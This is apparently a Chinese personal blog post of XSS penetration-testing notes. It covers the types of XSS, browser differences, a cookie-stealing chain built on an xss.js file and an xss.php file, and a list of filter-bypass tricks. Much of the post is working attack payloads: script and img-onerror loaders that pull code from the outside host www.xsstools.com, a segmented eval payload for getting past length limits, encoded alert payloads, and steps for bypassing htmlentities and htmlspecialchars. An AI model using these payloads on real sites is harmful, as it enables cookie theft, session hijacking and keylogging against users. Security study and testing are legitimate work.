20210410 web渗透学习之XSS的学习(不定期补充和更新)

 

 欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注

因为工作和学习中会不断遇到新的知识,为了避免重复制造轮子,所以这就是一个“记忆工厂”了。

一、三种XSS的小不同

反射型只能用一次,不会存在数据库里面。

DOM型查看源码看不到注入的恶意js语句,反射型和存储型可以。

二、浏览器不同会导致js语句被编码(所以测试的时候多换浏览器)

三、浏览器可以设置关闭XSS defender机制,该机制会防御xss

以IE为例:

四、火狐默认没法测DOM型XSS,会编码

五、通过js加载php的链式攻击手段(不会立刻在浏览器端回显,隐蔽攻击)

举个例子:

比方说我先写一个js,这个js能够加载恶意php木马,然后我用xss注入实现了这个js的执行,就会加载这个恶意的php----------攻击链:浏览器端加载js脚本——>js脚本运行php木马——>实现恶意功能

js的意思是“加载一个不可见的图片,获取当前网页的cookie信息并解码,然后赋值给xss.php这个恶意php文件的joke参数”

xss.php的内容是:新建一个joke.php文件,把cookie写入,,这样不会弹窗,不会被容易地发现。

然后在浏览器端存在xss漏洞的地方输入:<script src="http://ip/xss.js"></script>

然后我们打开joke文件,发现cookie在里面了……

六、XSS Platform搭建

搭建XSS测试平台 - zhengna - 博客园

XSS平台搭建(xsser.me)_码农致富的博客-CSDN博客_xss平台搭建

七、绕过技巧(这个随着做题的增加会不断更新)

1.大小写

2.双写      <script<script>>alert(1);</sc</script>ript>

3.换标签        不用script用别的标签如img,iframe等:<img src=a οnerrοr=alert(1)>

4.禁用alert  <img src="1" οnerrοr="confirm('xss')">

5.js输出   这个需要网页<script>下自带变量才可以,比如自带a变量,那就可以用;闭合前一句话,然后alert(1)//                                   payload为:    ”;alert($a)//

6、绕过htmlentities     htmlentities()默认是不转义单引号的,  ’;alert($a)//

7、dom型hash绕过    比如有的网站为了安全方便会设置锚点# ,有了这样语句document.write(location.hash.substring(1));        这个语句有漏洞,取锚点#后面的一个

                                      hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。

                                      substring 从#开始截取后面的部分

                                     payload为:直接在锚点后加入js语句即可

8、XSS出现在URL里面    因为用了PHPself属性:$_SERVER['PHP_SELF'] 

通过先闭合“”构成payload,然后提交触发之。这个实战我个人觉得没用条件太苛刻。

9、编码绕过   <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>    比如开了gpc。。。

10、绕过htmlspecialchars   XSS绕过之PHP htmlspecialchars() 函数_Yoo_666的博客-CSDN博客_htmlspecialchars绕过

八、XSS攻击手段

这个其实有很多的,注意:攻击手段和用途不同,用途是指窃取cookie、钓鱼、窃取键盘敲击记录等功能,而攻击手段则是使得恶意js语句被网页加载的方法 简单来说几种常用的吧

1、最直接的在xss漏洞触发处写上:<script src=http://www.xsstools.com/amER></script>  其中http://www.xsstools.com/amER这里面的内容是任意能够实现窃取cookie,钓鱼,窃取键盘敲击记录等功能的代码

通过src属性加载这个js语句,从而实现恶意功能。

2、<img>标签:<img src=x οnerrοr=document.body.appendChild(document.createElement('script')).src='//www.xsstools.com/amER'>

3、注意,有时候攻击语句太长会被限制,,比如说2中的<img>标签方法,在留言板等可能出现存储型XSS的地方太长了可能会被限制

4、拼接分段payload绕过对某些特定字符长度的限制,比如限制script  那我们就s+c+ript:    其实这个思路可以绕过很多长度限制:CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script>

<script>z=z+' src=ht'</script>

<script>z=z+'tp://www.'</script>

<script>z=z+'xsstools'</script>

<script>z=z+'.com/a'</script>

<script>z=z+'mER></sc'</script>

<script>z=z+'ript>")'</script>

<script>eval(z)</script>

5、jQuery方法:<script>$.getScript("//www.xsstools.com/amER");</script>


版权声明:本文为qq_45290991原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。